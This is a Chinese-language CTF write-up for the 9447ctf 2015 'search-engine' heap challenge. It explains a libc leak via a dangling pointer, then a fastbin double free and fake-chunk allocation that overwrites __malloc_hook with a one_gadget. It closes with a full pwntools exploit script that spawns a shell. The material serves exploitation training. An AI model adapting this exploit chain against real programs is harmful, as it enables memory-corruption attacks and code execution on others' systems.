【PWN · heap | Arbitrary Alloc】2015_9447ctf

【PWN · heap | Arbitrary Alloc】2015_9447ctf_search-engine

和【PWN · heap | House Of Spirit】2014_hack.lu_oreo-CSDN博客略有区别，但都是通过malloc一块fake_chunk到指定区域，获得对该区域的写权限

零、简单介绍

一、题目分析

1.主要功能

2.index_sentence(): 增添一条语句到“库”中

3.search_word()：查询单词

4.read_str()：读入字符串

二、解题思路

1.整体思路

2.泄露libc

3.getshell——劫持malloc_hook

三、利用过程

1.leak libc

2.fastbin循环指针

3.Arbitrary Alloc

4.hijack __malloc_hook

四、EXP

总结

零、简单介绍

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的，唯一的区别是分配的目标不再是栈中。事实上只要满足目标地址存在合法的 size 域（这个 size 域是构造的，还是自然存在的都无妨），我们可以把 chunk 分配到任意的可写内存中，比如 bss、heap、data、stack 等等。

Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验，实现任意地址分配 chunk，最后的效果也就相当于任意地址写任意值。

一、题目分析

1.主要功能

主要有两项功能，一是增添sentence，二是查询单次。由于数据结构的组织对我而言比较复杂，因此有必要好好做一个分析。

2.index_sentence(): 增添一条语句到“库”中

这里的单词指针，是源自句子的一部分（因此将句子整个置为\x00后，word也将变为\x00）

结构体各成员含义：

content：单词的值
size：单词的长度
sentence_ptr：单词源自的句子
len：句子的长度
next：指向下一个word结构体变量
padding1和padding2：按对齐要求进行必要填充

3.search_word()：查询单词

4.read_str()：读入字符串

尤其重要的是第三个参数的含义

二、解题思路

先看看保护机制

用patchelf给程序链接了合适的动态链接库

开始思考如何做题。

1.整体思路

泄露libc
getshell
1. got劫持？不太行
2. ROP？劫持到栈上，也许可以
3. hook劫持、打one_gadget？double free+Arbitrary Alloc，可以一试

2.泄露libc

可以从现有条件+已知方法考虑（泄露libc的方法可以多多积累，无非是获得libc中的一个真实地址，通过偏移计算基地址）

而泄露必然是回显，因此可以看看哪些输出，或者哪些指针是具有读权限的。

除了menu打印字符串常量，search_word()具有打印变量的权限，更具体来说是被malloc的堆块的数据区。而我们注意到malloc的堆块释放到bin中，但是sentence被释放后，没赋值NULL，为野指针。因此可以利用chunk被释放后放入unsorted bin，堆管理中fd和bk指针被修改，再利用这里的write打印出来，即可泄露。——这也是经常利用泄露libc的手法。

唯一的问题是，如何绕过对word匹配的限制，调用write。

其实，当sentence被memset为\x00\x00…\x00后，word作为sentence字符串开始的字符串指针，也变味了\x00，这时只需要索引长度为1的\x00即可绕过对word的匹配检测。

3.getshell——劫持malloc_hook

我们知道，存在double free，因此我们可以利用这一点，构造循环指针A→B→A→B…然后申请A，修改对应fd域为fake_chunk。此时bin中即：B→A→fake_chunk。

然而这里有几个点需要注意：

需要malloc三个sentence，free三个sentence后，再释放其中一个。依次malloc了chunk A、B、C。此时head→word(C)→word(B)→word(A)。而匹配依次free后，fastbin: A→B→C→NULL。注意，这里free的是sentence。在循环比较时，条件首先需要满足i→sentence≠0。而此时C的fd指针已是NULL(注意C就是sentence，就是i→sentence)，不可通过该检测。所以循环比较时，只会顺利检测并free A、B。而为了构造循环链表，应free B构造A→B→A…
fake_chunk在malloc附近，因此fake_chunk的size一般可通过错位构造为0x7f，所以ABC的chunk size也应在这一范围。使用pwndbg中的find_fake_fast函数和查找一下可以将malloc_hook作为内容地址的0x70（0x7F）大小的fake_chunk。 命令格式: find_fake_fast+被写入地址+chunk大小
malloc_hook的地址比泄露出来的main_arena地址小0x10
由于leak libc时已经有一个sentence被free，因此search ’\x00‘ 时，会匹配到A、B和之前的leak_chunk，一次’y’，两次’n’

三、利用过程

1.leak libc

2.fastbin循环指针

malloc 三次，free 三次，再free 一次，即可。

3.Arbitrary Alloc

然后依据偏移即可求出每次程序的fake_chunk_addr

4.hijack __malloc_hook

依据距离偏移，精确覆写malloc_hook:

(这里的值需要具体算，0xef9f4是one_gadget偏移）

四、EXP

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')
io=process('./pwn')
a=0
if input('[?]gdb')!='':
    a=1
    gdb.attach(io)

def search_word(size,word):
    io.sendline(b'1')
    io.recvuntil(b'size:\n')
    io.sendline(str(size).encode())
    io.recvuntil(b'word:\n')
    io.send(word)

def delete_word(choice):
    io.recvuntil(b'(y/n)?\n')
    io.sendline(choice)
    if choice==b'y':
        io.recvuntil(b'Deleted!\n')

def index_sentence(size,sentence):
    io.sendline(b'2')
    io.recvuntil(b'size:\n')
    io.sendline(str(size).encode())
    io.recvuntil(b'sentence:\n')
    io.send(sentence)

def gdb_break():
    if a==1:
        input('[+]gdb check')
## test
# index_sentence(9,b'dead beef')
# search_word(4,b'beef')
# delete_word(b'y')
# search_word(4,b'dead')
# io.interactive()

# leak libc
sentence=0x83*b'a'+b' b'
index_sentence(0x85,sentence)
search_word(1,b'b')
delete_word(b'y')
search_word(1,b'\x00')
io.recvuntil(b': ')
leak_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
# success(hex(leak_addr))
main_arena=leak_addr-88
success('main_arena: '+hex(main_arena))
gdb_break()
delete_word(b'n')

# double-free
sentence=0x5d*b'a'+b' c '
length=len(sentence)
for i in range(3):
    index_sentence(length,sentence) 
gdb_break()
search_word(1,b'c')
delete_word(b'y')
delete_word(b'y')
delete_word(b'y')
gdb_break()
search_word(1,b'\x00')
delete_word(b'y')
delete_word(b'n')
delete_word(b'n')
gdb_break()

# fake-chunk
fake_chunk_addr=0x7f05fd0adaed-0x7f05fd0adb20+main_arena
success('fake_chunk_addr: '+hex(fake_chunk_addr))
gdb_break()
sentence=p64(fake_chunk_addr)
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
index_sentence(length,b'a'*length)
index_sentence(length,b'b'*length)
gdb_break()

'''one-gadget
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
libc_base=main_arena-0x3c4b10-0x1010+0x2000
success('libc-base: '+hex(libc_base))
gdb_break()
sentence=(0x7f5eec1dfb10-(0x7f5eec1dfaed+0x10))*b'a'+p64(libc_base+0xef9f4)+b' '
sentence=sentence.ljust(length,b'\x00')
index_sentence(length,sentence)
gdb_break()
io.interactive()